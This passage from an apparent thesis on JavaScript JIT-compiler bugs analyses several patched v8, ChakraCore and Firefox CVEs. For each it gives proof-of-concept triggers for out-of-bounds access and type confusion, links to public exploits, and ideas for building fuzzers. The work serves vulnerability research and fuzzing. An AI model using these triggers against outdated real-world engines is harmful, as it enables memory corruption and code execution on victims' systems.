result overflows the INT_MAX value and the compiler adds code to deoptimize in this case.
In the other case the result does not overflow. This happens when the value of j is after line
6 between INT_MIN and INT_MAX – 0x7ffffff0, that is between INT_MIN and 15. This case
was generated because INT_MIN + 0x7ffffff0 does not overflow INT_MAX, otherwise the
148 https://www.thezdi.com/blog/2017/8/24/deconstructing-a-winning-webkit-pwn2own-entry
149 https://bugs.chromium.org/p/project-zero/issues/detail?id=1220
79
data type of the result would be changed from int to float and no deoptimization code would
be added.
Since the code gets deoptimized in the first case, the compiler can assume that j is between
INT_MIN and 15 at the start of the second iteration. Note that in line 7 the value is not added
to j, the result gets discarded. The add operation is just required to let the compiler assume
the mentioned value range. Since j is in the first iteration 0 and the compiler assumes that
the maximum value of j is in the second iteration 15, the bound check can be removed
because the code from line 2 already ensured that the array has at least a length of 16.
After adding in the second iteration in line 6 the value 0x100000, the range changes to
0x100000 to 0x10000f. The result of the add operation from line 7 is the range
0x100000+0x7ffffff0 to 0x10000f+0x7ffffff0. If only the maximum range value would
overflow, the compiler would again add code to deoptimize in such a case. However, since
also the minimum range value overflows INT_MAX, a deoptimization would always occur.
Because of this, the compiler changes the internal data type of the result of the add operation
from line 7 to a float value.
The root cause of the vulnerability is that the compiler already assumed in the first iteration
that the data type is int and a deoptimization would be triggered when the result overflows
INT_MAX. Only under this assumption the assumed value range of INT_MIN to 15 at the
beginning of the second iteration is true. However, this assumption no longer holds because
the code does not deoptimize because the data type changed from an integer to a float
value. However, the bound check from line 5 was already removed which leads to OOB
access in the second iteration in line 5.
A detailed analysis is available in the issue report 150 from lokihardt.
Generalization for variation analysis:
•
A fuzzer should add loops which execute two iterations and fuzz code in the loop
body.
•
A fuzzer should generate mathematical calculations combined with array
accesses. The result of calculations can sometimes be discarded because range
calculations are performed internally during compilation.
•
Array access operations should be inserted more frequently at the start of a loop
instead of the end.
•
At the start of the test case an if condition ensures that the array length is at least
16. This code is important for the removal of the later bound check. It is important
that no other code is executed in between which could trigger side effects.
150 https://bugs.chromium.org/p/project-zero/issues/detail?id=1390
80
Chromium issue 469058, CVE-2015-1233 – Incorrect bound check calculation
Chromium issue 469058, which is mentioned in the CVE details, is still restricted and public
writeups for this vulnerability do not exist. The CVE number was issued as “incorrect
interaction with IPC (gamepad API)”, however, this title is related to the sandbox escape
used in the submitted full chain Chrome exploit.
According the Chrome blog 151 the vulnerability was fixed with version 41.0.2272.101.118. A
code diff 152 to the previous version reveals in which v8 version the vulnerability was fixed.
Since the vulnerability is related to v8, the diff in the DEPS file reveals that the bug was fixed
between
the
v8
commit
cc2b2f487bfa07c4f8f33ac574a4580ad9ec0374
and
901b67916dc2626158f42af5b5c520ede8752da2.
By checking the second commit log 153, the fix can easily be found by viewing the parent
commit (2ae675fe2c64e97a7bebf8288fe427675b7063fa) which fixes the vulnerability. The
commit message contains the string BUG=chromium:469148 which indicates that the correct
issue is 469148 which is unrestricted and public available. This issue can alternatively be
found by using the search functionality on the issue tracker to search for the original issue
number 469058 because the issue details contain the string Part of a full Chrome exploit
chain in issue 469058.
01: function opt(array, offset, oob_byte) {
02: var base = -0x7FFFFFC1 + offset;
03: array[base - (-0x80000000)] = 0x4B; // +0x80000000 can’t be represented
04: array[base + 0x7FFFFFE1] = 0x4B;
05: array[base + 0x7FFFFFC1] = oob_byte;
06: }
07: function trigger_optimize() {
08: var array = new Uint8Array(0x40);
09: for (var i = 0; i < 1000000; i++) opt(array, 0, 0x00); // Trigger optimization
10: }
11: trigger_optimize();
12: var exploit_array = new Uint8Array(0x40);
13: opt(exploit_array, -2, 0x80);
The vulnerability occurs because of line 3 in the PoC. In the v8/src/common/globals.h file
the integer minimum and maximum values are defined as following:
constexpr int kMaxInt = 0x7FFFFFFF;
constexpr int kMinInt = -kMaxInt - 1;
The important observation is that the minimum value -0x80000000 does not has an
appropriate positive value representation because the maximum value is 0x7FFFFFFF. The
base – (-0x80000000) code from line 3 leads to a bound check compiled for base
+0x80000000. When the base value from line 2 gets inserted, the bound check can be
151 https://chromereleases.googleblog.com/2015/04/stable-channel-update.html
152
https://chromium.googlesource.com/chromium/src/+log/41.0.2272.101..41.0.2272.118?pretty=fuller&n=10000
153 https://github.com/v8/v8/commit/901b67916dc2626158f42af5b5c520ede8752da2
81
simplified to 63+offset. Since the offset argument is zero, see line 9, the compiler assumes
that 63+0 must always be within the array bounds because 0x40 = 64 bytes were created
in line 8. This leads to a removal of the bound check. However, at runtime the – (-
0x80000000) calculation results in +(-0x80000000) because the positive value cannot be
represented and therefore OOB access is possible because a bound check is no longer
performed.
An uncommented exploit for the vulnerability is available at 154.
Generalization for variation analysis:
•
A fuzzer should add code like - (-0x80000000) in mathematical operations and
array index calculations. Similar code can be used for boundary values from other
data types.
•
Similar data types used in Chromium can be found at 155.
4.5.3 Wrong annotations or incorrect assumptions
JavaScript engines such as v8 annotate built-in functions to know during compilation if a
specific function invocation has side effects or not. For example, consider a function which
first accesses a passed array at a specific index, then invokes a built-in function and after
that access the array again at a lower index. The second array access must not be protected
by a boundary check if the check from the first access already ensures that the array length
is large enough. This assumption is only true if the built-in function invocation cannot result
in a side effect which can modify the array length.
To deduce these decisions, the compiler must know which built-in functions can result in
which actions and therefore functions are annotated in the v8 code. For example, a kNoWrite
annotation means that the function cannot write to properties and therefore cannot change
the length of an array or the internal type of elements. If a function was incorrectly annotated
the compiler can be forced to remove bound or type checks which leads to exploitable
vulnerabilities.
This chapter also lists vulnerabilities which are caused by other incorrect assumptions from
engine developers.
154 https://github.com/4B5F5F4B/Exploits/tree/master/Chrome/CVE-2015-1233
155 https://source.chromium.org/chromium/chromium/src/+/master:v8/src/common/globals.h;l=145?q=kMinInt
82
Examples:
Chromium
issue
762874
(2017)
–
Off-by-one
in
range
annotation
of
String.lastIndexOf()
01: function opt() {
02: try { } finally { } // Force the turbofan compiler
03: var i = 'A'.repeat(2 ** 28 - 16).indexOf("", 2 ** 28);
04: i += 16; // real value: i = 2**28, optimizer: i = 2**28-1
05: i >>= 28; // real value i = 1, optimizer: i = 0
06: i *= 100000; // real value i = 100000, optimizer: i = 0
07: if (i > 3) {
08: return 0;
09: } else {
10: var arr = [0.1, 0.2, 0.3, 0.4];
11: return arr[i]; // OOB access in compiled code
12: }
13: }
14: function trigger_optimization() {
15: for (var i = 0; i < 100000; i++) {
16: var o = opt(); // Trigger optimization
17: if (o == 0 || o == undefined) {continue;}
18: return o;
19: }
20: console.log("fail");
21: }
22: var leaked = trigger_optimization();
The indexOf function returns the index of the first occurrence of a passed substring. Consider
the following code:
'1234'.indexOf(x)
The following table lists possible x values together with the result:
Input x
Result of indexOf()
'1'
0
'2'
1
'3'
2
'4'
3
'foo'
-1
Table 1: Results of indexOf() function invocation
The highest returned index is the string length minus one which corresponds to the last
accessible index. The maximum string length is String::kMaxLength and the developers
therefore annotated in the compiler that indexOf() can return values in the range -1 to
String::kMaxLength-1. However, this annotation is wrong and bigger values can be returned.
The function supports a second parameter for the start index. For example,
'12324'.indexOf('2',1) returns 3 because the search starts after index 1. An edge case
occurs when the start index corresponds to the array length and the search string is an empty
string: '1234'.indexOf('',4). In such a case the value 4, which is the array length, is
returned. The annotated maximum value of String::kMaxLength-1 is therefore wrong
because at runtime the value String::kMaxLength can be returned. The String::kMaxLength
value is defined in v8.h and is (2**28)-16 on 32-bit and (2**29) – 24 on 64-bit.
83
In the PoC the vulnerability is triggered in line 3. Since the opt function is called in a loop in
line 16, the code gets compiled. In 2017 the default compiler was Crankshaft, but the
TurboFan compiler, which contained the vulnerability, was triggered in special cases where
it produced better code than Crankshaft. Such a case is triggered when exception handling
is used which is done by the code in line 2.
Because of the wrong annotation, the compiler assumes an incorrect return value in line 3.
Line 4 to 6 perform mathematical operations on the value. Afterwards the compiler assumes
that the maximum value is 0, however, at runtime the value will be 100,000.
The if condition would therefore be true at runtime and the code from line 8 would be
executed. However, since the compiler assumes a maximum value of 0, the compiler
assumes that the condition can never become true and the branch gets removed. The code
in line 10 and 11 is therefore executed instead. This code was compiled under the
assumption that the if condition ensured that the maximum value of the i variable is 3 and
therefore bound checks for the array access in line 11 are not required because the array
has a length of 4 and accessing index 3 cannot lead to OOB memory access. However, at
runtime the i variable is 100,000 which leads to OOB access.
A writeup of the vulnerability is available at 156, exploits are available at 157 and at 158. The
writeup also discusses how the vulnerability can be exploited when additional hardened
protections are enabled, which were two years later introduced.
Generalization for variation analysis:
•
A fuzzer should add code similar to the code from line 4 to 11 to check for incorrectly
assumed range values.
Chromium issue 888923, CVE-2018-17463 (Hack2Win 2018) – Incorrect CreateObject
side effect annotation
01: function opt(o) {
02: o.x; // Step1: First access is protected via CheckMaps
03: Object.create(o); // Step2: Trigger side effect
04: return o.y.a; // Step3: Not protected by CheckMaps node
05: }
06: opt({ x: 0, y: { a: 1 } });
07: opt({ x: 0, y: { a: 2 } });
08: for (let i = 0; i < 100000; i++) {
09: opt({ x: 0, y: { a: 3 } });
// Trigger optimization
10: }
11: console.log(opt({ x: 0, y: { a: 3 } })); // Trigger vulnerability
The createObject function was annotated as kNoWrite, which is incorrect because the
function has a side effect which means the correct annotation would be kNoProperties. The
createObject function has a side effect because it changes the map of the passed object and
156 https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/
157 https://github.com/JeremyFetiveau/TurboFan-exploit-for-issue-762874
158 https://github.com/ray-cp/browser_pwn/blob/master/issue-762874/oldOObWrite.js
84
converts fast properties to dictionary properties. In line 2 an access to a property is
performed and the compiler therefore adds a CheckMaps node which ensures that the
passed argument has the correct type of fast properties. However, for the property access
from line 4 the CheckMaps node was removed because the compiler assumed that the type
cannot change in line 3 because the function was annotated to have no side effects. The
compiler therefore added code to handle fast properties in line 4. However, the real type will
be dictionary elements because of the side effect of line 3. This leads to a type-confusion.
Using the type confusion, a floating-point number can be interpreted as object pointer and
vice versa which leads to arbitrary read and write and therefore to full code execution.
The vulnerability was exploited in the Hack2Win 2018 competition. A full exploit together with
a writeup is available in the issue tracker 159. An in-depth writeup can be found at 160. Another
exploit is available at 161.
Generalization for variation analysis:
•
A fuzzer should add two property accesses and add fuzzed code in between. As
fuzzed code function invocations can be inserted which are annotated to have no
side effects.
•
Functions which have side effects can be found during fuzzing by using code like:
let o = {a: 42};
%DebugPrint(o);
Object.create(o);
%DebugPrint(o);
The output reveals that a side effect was triggered:
- First print map: <Map(HOLEY_ELEMENTS)> [FastProperties]
- Second print: map: <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
The identification of functions, which trigger side effects, can therefore be decoupled
from the fuzzing which reduces the search space. Moreover, the identified side effect
of a tested function can automatically be compared with the annotation of the function
to detect similar flaws.
159 https://bugs.chromium.org/p/chromium/issues/detail?id=888923
160 http://phrack.org/papers/jit_exploitation.html
161 https://github.com/vngkv123/aSiagaming/tree/master/Chrome-v8-Obect.create
85
Chromium
issue
906043,
CVE-2019-5782
(Tianfu
Cup
2018)
–
Incorrect
arguments.length value range annotation
01: function opt(arg) {
02: let x = arguments.length;
03: a1 = new Array(0x10);
04: a2 = new Array(2); a2[0] = 1.1; a2[1] = 1.1;
05: a1[(x >> 16) * 0xf00000] = 1.39064994160909e-309; // 0xffff00000000
06: }
07: var a1, a2;
08: let small = [1.1]; // Argument array with one argument
09: let large = [1.1, 1.1];
10: large.length = 65536; // Create an argument array with 65536 arguments
11: large.fill(1.1);
12: for (let j = 0; j < 100000; j++) {
13: opt.apply(null, small);// Trigger optimization with a small number of arguments
14: }
15: opt.apply(null, large); // Trigger the compiled code with a lot of arguments
Arguments can be accessed inside functions via the special arguments object. The
argument.length value is annotated to have a range of 0 to 2**16-2. This assumption is true
if a function is invoked by using standard syntax like target_function(arg_1,
arg_2,/*..*/, arg_n). However, in JavaScript functions can also be invoked via the
apply() function as demonstrated in lines 13 and 15. Using this syntax more than 2**16-2
arguments can be passed to the function. Also note that a third alternative exists to pass
more arguments using the spread operator: opt(...small)
Because the opt function is called in line 13 in a loop, compilation of the function is triggered.
The compiler assumes that the maximum value of x in line 2 is 2**16-1 = 0xfffe. In line
5, the value is shifted 16 bits to the right. The result of this shift operation is for inputs like
0xfffe or smaller values always zero. The compiler therefore assumes that the array access
in a1 in line 5 is always in bounds because index 0 is accessible in an array of length 0x10.
The compiler therefore removes bound checks. However, using the apply function,
arguments.length can be bigger than the compiler assumed value which leads to OOB
access in the function invocation in line 15. The large argument array stores 65,536 =
0x10000 elements. When this value is shifted 16 bits right in line 5 the result is 1. After
multiplication, it leads to an access of index 0xf00000 which is an OOB access because of
the removed bounds check.
The array from line 4 is not required to trigger the vulnerability. However, if the multiplication
in line 5 is changed to a multiplication by 0x15, the code overwrites the length field of array
a2 with the OOB access. After that, a2 can be used for OOB read and write access.
A full exploit from Tianfu Cup 2019 is available in the bug tracker 162. A detailed writeup and
another exploit is available at 163.
162 https://bugs.chromium.org/p/chromium/issues/detail?id=906043
163 https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-906043/Chrome%20V8%20-%20-CVE-
2019-5782%20Tianfu%20Cup%20Qihoo%20360%20S0rrymybad-%20-ENG-.pdf
86
Generalization for variation analysis:
•
A fuzzer should implement the function.apply syntax as well as the spread operator
to pass a large number of arguments to functions.
•
A fuzzer should integrate new language features such as the spread operator.
•
A fuzzer should add array access code similar to line 5 to identify OOB array
accesses.
Edge CVE-2019-0539 – Type-Confusion via InitClass
01: function opt(o, c, value) {
02: o.b = 1;
// Step1: Add a type check
03: class A extends c { // Step2: trigger side effect; transition the object
04: }
05: o.a = value; // Step3: Access without type check; overwrite slot array pointer
06: }
07: for (let i = 0; i < 2000; i++) { // Trigger optimization
08: let o = { a: 1, b: 2 };
09: opt(o, (function () { }), {});
10: }
11: let o = { a: 1, b: 2 };
12: let cons = function () { };
13: cons.prototype = o; // causes "class A extends c" to transition object type
14: opt(o, cons, 0x1234);
15: print(o.a); // access the slot array pointer resulting in a crash
The function is initially optimized by calling it 2,000 times in a loop in line 9. The passed
object o has two properties, which are initially stored as inline properties. The function is
therefore optimized for the case that an object with inlined properties is passed. However,
before the last call is performed in line 14, the prototype of the second argument is set to the
object itself. As soon as the class A extends c code from line 3 gets executed, the
properties of the object o are modified because the prototype of c points to o. Because of
this side effect, the properties are no longer stored as inline properties. Instead, they are
stored in an array pointed to by the slots-pointer.
The slots-pointer is just a pointer to the properties of the object in ChakraCore. The third
entry in the object should therefore no longer be interpreted as the first property because it
now stores the slots-pointer. However, the compiler did not expect such a modification or
side effect and the optimized code therefore still assumes that inlined properties are used
which leads to a type confusion. The o.a = value code from line 5 therefore overwrites the
slots-pointer which means that the pointer to the properties array can be set to an arbitrary
value which leads to full code execution.
Exploitation details can be found in 164.
Generalization for variation analysis:
•
A fuzzer should create test cases with a similar structure as CVE-2019-0539. This
means that the optimized function should first access a property (line 2), then perform
164 https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/
87
an action which can change the state of the object (line 3 and 4) and finally access
again an property (line 5), preferable the first property to overwrite the slots-pointer
in ChakraCore. The first property access from line 2 is required to include a map
check at the beginning of the function. This ensures that the map check for the
second property access can be omitted. Instead of accessing properties, arrays can
be accessed as well.
•
A fuzzer should create objects with just a few properties (2-6 properties). This
ensures that inline properties are tested during fuzzing.
•
A fuzzer should add code similar to: class A extends <ArgumentName>
•
A fuzzer should modify the prototype of objects.
•
If an optimized function writes to a property, code which reads the property after the
function invocation should be added. For example, line 6 writes to property a and
therefore line 15 was added which attempts to access this property. This does not
only detect type confusions between inlined properties and the usage of the slots-
pointer, but also detects type confusions between raw double encoded values and
double values stored in heap objects.
Firefox bug 1537924, CVE-2019-9810 (Pwn2Own 2019) – Incorrect alias information in
Array.prototype.slice()
01: let Arr = null; let Spray = []; let trigger = false;
02: function opt(Special, Idx, Value) {
03: Arr[Idx] = 0x41414141; // Step1: Access is protected with a bounds check
04: Special.slice(); // Step2: Compiler incorrectly assumes no side effect
05: Arr[Idx] = Value; // Step3: Bound check is not performed again
06: }
07: class SoSpecial extends Array {
08: static get [Symbol.species]() {
09: return function () {
10: if (!trigger) {
11: return;
12: }
13: Arr.length = 0; // Perform the side effect
14: gc(); // Trigger garbage collection
15: };
16: }
17: };
18: const specialArray = new SoSpecial();
19: Arr = new Array(0x7e);
20: for (let Idx = 0; Idx < 0x400; Idx++) {
21: opt(specialArray, 0x30, Idx);
22: }
23: trigger = true;
24: opt(specialArray, 0x20, 0xBBBBBBBB);
In the opt function the array is accessed at the passed index. Because of this access, the
compiler adds code which checks the index against the array bounds to protect against OOB
access. The index is accessed two times, in line 3 and 5 in the opt function. The compiler
assumes that the slice function cannot have a side effect and therefore that the bound check
must not be performed again because the array cannot change in the meantime. However,
this assumption is wrong because Symbol.species can be used to introduce a side effect.
88
Symbol.species specifies the new constructor for the array when the array gets copied.
When the slice method gets called this happens and the specified constructor function gets
invoked. In this function the array length is modified to a length of zero and garbage collection
is triggered to free the previous array memory. Because the bound check was removed for
the second array access in line 5, this access leads to OOB read and write.
This vulnerability was exploited by the fluoroacetate team during Pwn2Own 2019. A detailed
writeup can be found at 165 and at 166. A public exploit is available at 167 and a full chain exploit
including a sandbox escape is available at 168.
Generalization for variation analysis:
•
The code construct from line 7 to 9 should be used to trigger a callback function via
Symbol.species.
•
A fuzzer should integrate a global variable trigger, which is initially set to false and
which gets flipped to true at a random code location. A fuzzer should flip the variable
more frequently to true before the last invocation of the opt function, after function
compilation was already triggered. A callback, triggered by the opt function, should
perform state modification operations if the trigger value is true.
•
The state modification operations should depend on the code structure of the opt
function. For example, in line 3 and 5 array access operations are performed on the
Arr variable. The callback should therefore modify the array length of the Arr variable.
165 https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
166 https://www.zerodayinitiative.com/blog/2019/4/18/the-story-of-two-winning-pwn2own-jit-vulnerabilities-in-
mozilla-firefox
167 https://github.com/0vercl0k/CVE-2019-9810
168 https://github.com/0vercl0k/CVE-2019-11708
89
Chromium issue 1053604, CVE-2020-6418 – Incorrect side effect modelling for
JSCreate
01: ITERATIONS = 10000;
02: TRIGGER = false;
03: function opt(a, p) {
04: return a.pop(Reflect.construct(function() {}, arguments, p));
05: }
06: let a;
07: let p = new Proxy(Object, {
08: get: function() {
09: if (TRIGGER) {
10: a[2] = 1.1; // Change elements-kind to double values
11: }
12: return Object.prototype;
13: }
14: });
15: for (let i = 0; i < ITERATIONS; i++) {
16: let isLastIteration = i == ITERATIONS - 1;
17: a = [0, 1, 2, 3, 4]; // Just store SMI values
18: if (isLastIteration)
19: TRIGGER = true;
20: print(opt(a, p));
21: }
The opt function calls the Array.prototype.pop() function which gets incorrectly optimized.
This function call is translated in the sea-of-nodes to a JSCall node. The Reflect.construct()
function creates a new object and becomes therefore a JSCreate node. The problem occurs
when the JSCall node gets reduced and inlined during optimization.
Since the array could store all kind of elements like integers, doubles or objects, typically
generic code must be added which handles all elements. However, if the compiler can
ensure that only specific values like SMIs (small integers) are passed, the compiler can avoid
the slow generic code and instead only add code which handles SMIs. The compiler adds a
CheckMaps node which verifies at runtime that the assumed type is correct and deoptimizes
otherwise. If the compiler already added a CheckMaps node before, the second CheckMaps
node can be removed if no side effect can occur between the operations. To find previous
CheckMaps nodes the sea-of-nodes is traversed backwards starting from the JSCall node
by following the effect edges. Effect edges are special edges in the sea-of-nodes.
The root cause of the vulnerability is the handling of JSCreate nodes during backward
traversal. The patch diff 169 shows that in line 360 the result is set to kReliableReceiverMaps.
In a loop all node types are checked and the result is accordingly adapted. This is a blacklist
instead of a whitelist approach and it contained a flaw where the result was not updated to
kUnreliableReceiverMaps and therefore the default value kReliableReceiverMaps from line
360 was returned.
That means, that the compiler assumed a reliable map of the object instead of an unreliable
one. For example, in the above PoC the compiler infers that the passed array just contains
SMIs and it assumes that this map is reliable. However, it is not reliable because the
169 https://chromium-review.googlesource.com/c/v8/v8/+/2062396/4/src/compiler/node-properties.cc#360
90
JSCreate node can have a side effect. It is important that the Reflect.construct() return value
is passed as argument to the Array.prototype.pop() call to create the required effect edge
between the two nodes. This is required because the JSCreate node, which was added for
the Reflect.construct() function call, must be visited during the backward traversal to trigger
the vulnerability. Note that per default the Array.prototype.pop() function does not receive
input arguments, however, in JavaScript such arguments can still be passed.
The Reflect.construct() call, which is translated to the JSCreate node, can change the type
of the array because a proxy can be applied on the third argument. In the PoC the proxy
modifies in line 10 the second element of the array to store a double value. This changes
the elements-kind of the array and therefore the map. However, the compiler assumed that
this cannot happen and therefore just added code to pop values from a SMI array. The
inlined pop operation therefore incorrectly interprets the double value from line 10 as integer.
The following figures demonstrate the vulnerability. Figure 6 shows not vulnerable code
because the Reflect.construct() output is not passed as an argument and the vulnerability is
therefore not triggered because of the missing effect edge.
Figure 6: Sea-of-nodes of a not vulnerable version of the code
Node 34 performs the call to Reflect.construct() which corresponds to a JSCreate. In node
218 a DeoptimizeIf node was added which deoptimizes if elements-kind is not SMI. The
Array.pop() implementation for SMI values starts at the IfFalse node 229. The branch at
node 228 checks if the array length is 0 and therefore the false branch contains the code to
pop a value. The actual nodes, which perform the pop operation and which adapt the array
length, are not shown above because only control flow nodes are visible.
91
Figure 7 shows the generated graph in the vulnerable case. The compiler initially added two
CheckMap nodes which translated in a later compiler phase to DeoptimizeIf and
DeoptimizeUnless nodes. Since the DeoptimizeIf node 219 already performed a check
before call node 40, the DeoptimizeIf node afterwards, which was added together with node
228, was removed. The vulnerability can be identified by comparing the graph from Figure 6
with the graph from Figure 7. In the first case a DeoptimizeIf node is located after the call
node whereas in the second case this node is missing which introduces the vulnerability.
The node removal was done by the compiler under the assumption that the call from node
40 cannot have a side effect. However, it can have a side effect and modify the elements-
kind of the array. That means, that the inlined Array.prototype.pop() code, which is located
around node 236, incorrectly performs a pop operation on SMI values, although the array
can already store objects or double values.
Figure 7: Sea-of-nodes for vulnerable code
By using a push instead of the pop operation and by storing initially double values and
changing the elements-kind to generic elements inside the proxy callback, an OOB write can
be performed. This is possible because double values are stored using eight bytes and when
elements-kind changes to generic elements, double values and objects are stored by using
pointers to heap objects. Because of pointer compression170 171 a pointer can be stored by
just using four bytes on 64-bit systems. The inlined push operation assumes eight bytes per
170 https://v8.dev/blog/pointer-compression
171 https://docs.google.com/document/d/10qh2-b4C5OtSg-xLwyZpEI5ZihVBPtn1xwKBbQC26yI/edit#
92
index but the array just uses four bytes per index and therefore the write operation is done
OOB of the array on adjacent memory. This can be used to overwrite the length field of a
subsequent array which can be turned to full code executing by using classic exploitation
techniques.
The vulnerability was exploited in the wild and detected by the Google threat analysis group.
It was reported to the Chromium team on 2020-02-18, a public commit with the fix and a
regression test was available on 2020-02-19. A fixed version was shipped on 2020-02-25.
Exodus Intelligence published a full exploit with a writeup 172 on 2020-02-24 which was
developed based on the public available commit message.
When this vulnerability was analyzed as part of the thesis research, the newest available
Foxit Reader version was 9.7.1.29511, which was released on 2020-01-16. This version
uses v8 in version 7.7.299.6 which was released on 2019-08-26. This version is affected by
the vulnerability and can therefore be exploited. Since Foxit Reader disabled some language
features the public available exploit must slightly be adapted.
The author of this thesis developed together with the second supervisor a reliable exploit for
the vulnerability which achieves full code execution without crashing Foxit Reader, bypasses
all in-place memory protections and is invisible for victims. The vulnerability was reported
together with the exploit to TrendMicro’s Zero Day Initiative which reported the vulnerability
to Foxit Cooperation. The vulnerability is tracked as ZDI-20-933 173. The vulnerability was
fixed on 2020-07-31. CVE-2020-15638 was assigned to this vulnerability.
The vulnerability was also exploited by Röttger to attack the Steam browser on Linux 174
which uses an outdated Chromium fork.
Generalization for variation analysis:
•
A fuzzer can create code which passes more arguments to functions than the
function expects. This should not change the semantics of the code, but it can create
additional effect edges in the sea-of-nodes which can trigger vulnerabilities.
Especially function invocations can be passed as additional arguments.
•
A fuzzer should create code similar to lines 15 to 21. This code just executes
additional code in the last loop iteration to trigger the vulnerabilities.
•
A fuzzer should use proxies to introduce side effects.
172 https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/
173 https://www.zerodayinitiative.com/advisories/ZDI-20-933/
174 https://twitter.com/_tsuro/status/1232477699131621376
93
4.5.4 Missing minus zero type or NaN information
The previous chapter explained that side effects of built-in functions are annotated in
JavaScript engines. The engines also annotate possible return value ranges for all built-in
functions and use these ranges during optimization. For example, consider that a specific
function can just return values between zero and five and that this return value is used as
index to access an array. If the compiler can guarantee that the array has always a length of
at least twenty - because of a previous check - bound checking code must not be added
because the compiler can guarantee that the array access is always within bounds.
However, if the annotated return value range is incorrect, it can immediately lead to an
exploitable vulnerability.
A common source for flaws is the kSafeInteger range in v8 which does not include the
minus zero value. JavaScript differentiates between +0 and -0 and the difference is
significant. For example, consider the Math.sign function which returns +1 for positive
arguments and -1 for negative arguments. If the argument is zero, the value +0 gets returned.
If the engine developers forgot to annotate the edge case where a -0 gets returned when the
argument is minus zero, a problem occurs because the runtime value can be different to
value assumed by the compiler. Moreover, an engine programmer may define the return
value range as CreateRange(-1.0,1.0) and assume that this includes all above mentioned
cases. However, this is incorrect because this range does not cover the minus zero value.
This example was CVE-2016-5200 and exploitation details are explained below. The minus
one to plus one range is defined as kMinutesOneToOne and this range also does not contain
the NaN value which can result in similar problems. Another common range is PlainNumber
or Union(PlainNumber, NaN) which do not contain the minus zero value.
Examples:
Chromium issue 880207 (2018) - Incorrect type information on Math.expm1
01: function opt() {
02: // The compiler assumes an incorrect Math.exmp1() return value range
03: // and therefore assumes that the comparison is always false
04: return Object.is(Math.expm1(-0), -0);
05: }
06: console.log(opt()); // interpreted code output: true
07: %OptimizeFunctionOnNextCall(opt);
08: console.log(opt()); // compiled code output: false
The output indicates a flawed optimization because the first output is true, but the second
one is false. This vulnerability was initially declared by Röttger, the reporter of the
vulnerability and a researcher at Google Project Zero, and the v8 developers as not
exploitable. „The typing rule is wrong, it looks like it was a copy&paste mistake on my side.
I agree with the analysis that this is probably not really exploitable“ 175. Two months after the
initial report, Röttger explained in the bug tracker that the vulnerability is in fact exploitable.
175 https://bugs.chromium.org/p/chromium/issues/detail?id=880207
94
The vulnerability is not only exploitable, it is highly reliable, it allows to leak data and achieve
code execution and it has a rapid execution speed. The following cite is from Exodus
Intelligence, a company focused on zero-day and n-day development: „Finally, in terms of
reliable N-Day exploits for Chrome, there are much better bugs that could achieve speed
and reliability, due to the bug characteristics. The prime candidate for such bugs are those
that occur in the v8 JIT engine, such as _tsuro‘s [Röttger’s] excellent V8 bug in Math.expm1”
176.
Exploitation details can be found in 177 and in 178. In 2018 the vulnerability was used as part
of the Krautflare CTF challenge for 35C3. Exploitation details for this challenge and therefore
for the vulnerability can be found at 179.
The vulnerability was initially incorrectly fixed and a regression test, which triggers the
vulnerability at another code location, is shown below:
01: function opt(x) {
02: return Object.is(Math.expm1(x), -0);
03: }
04: function g() {
05: return opt(-0);
06: }
07: opt(0);
08: // Compile function optimistically for numbers (with fast inlined
09: // path for Math.expm1).
10: %OptimizeFunctionOnNextCall(opt);
11: // Invalidate the optimistic assumption, deopting and marking non-number
12: // input feedback in the call IC.
13: opt("0");
14: // Optimize again, now with non-lowered call to Math.expm1.
15: console.log(g());
16: %OptimizeFunctionOnNextCall(g);
17: console.log(g()); // returns: false. expected: true.
The function is first optimized for the case of numbers, then it is deoptimized by passing a
string and later it is optimized again. Now the compiler also considers strings as possible
arguments. In the initial PoC just numbers were passed which means that the compiler
performs optimization optimistically for floating-point values which means that the
Math.expm1() call is lowered to code which just handles floating-point values. The initial fix
just fixed this floating-point related code. However, by passing once a string to the function,
generic code is compiled by adding a call node to Math.expm1() which also contained the
vulnerability.
176 https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
177https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.
g52a72d9904_2_105
178 https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/
179 https://www.jaybosamiya.com/blog/2019/01/02/krautflare/
95
An alternative solution 180 from sakura sakura is to enforce a call node by using the call()
syntax:
01: let y = { a: -0 };
02: var result = Object.is(Math.expm1.call(Math.expm1, -0), y.a);
The optimization, which replaces Math.expm1(-0) with +0, can be triggered in the initial
typer, in the load elimination and in the simplified lowering phase during compilation. The
return value of the function call can be used inside a call to Object.is(return_value, -
0) which would return at runtime true, however, the compiler would assume that the return
value is always negative. The Object.is() call would be replaced by a SameValue node in
the sea-of-nodes. If the vulnerability is triggered in one of the first phases, the typed
optimization pass would replace the SameValue node with an ObjectIsMinusZero node
which would be optimized away in a later constant folding pass because the compiler
assumes that the value can never be minus zero. That means, that too much optimization
would be performed which results in a function which always returns false. However, to
exploit the vulnerability, the compiler must be tricked into performing calculations based on
incorrect optimization, but the function should not completely be optimized away. The
SameValue operation must be performed at runtime to ensure that true can be returned.
Then, the compiler would perform subsequent optimizations with the incorrect assumed false
value but at runtime true would get returned which leads to the incorrect removal of bound
checks.
To enforce this, the optimization must not be triggered in the typer or load elimination phase.
Instead, it must be triggered in the later simplified lowering phase. This means, that the code
must change between the phases to trigger the optimization only in the simplified lowering
phase. Between these phases the escape analysis phase is performed. The escape analysis
dematerializes object properties accesses if the object does not escape. That means, that
the value can be wrapped inside an object which does not escape. This hides the
optimization until escape analysis was performed. A more detailed explanation of escape
analysis and dematerialization of objects can be found in chapter 4.5.5. The following PoC,
taken from 181, demonstrates this:
180
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g5
2a72d9904_2_105
181 https://www.jaybosamiya.com/blog/2019/01/02/krautflare/
96
01: function opt(x) {
02: var a = { zz: Math.expm1(x), yy: -0 }; // Wrapped in obj for esc. analysis
03: a.yy = Object.is(a.zz, a.yy);
04: return a.yy;
05: }
06: function trigger() {
07: var a = { z: 1.2 };
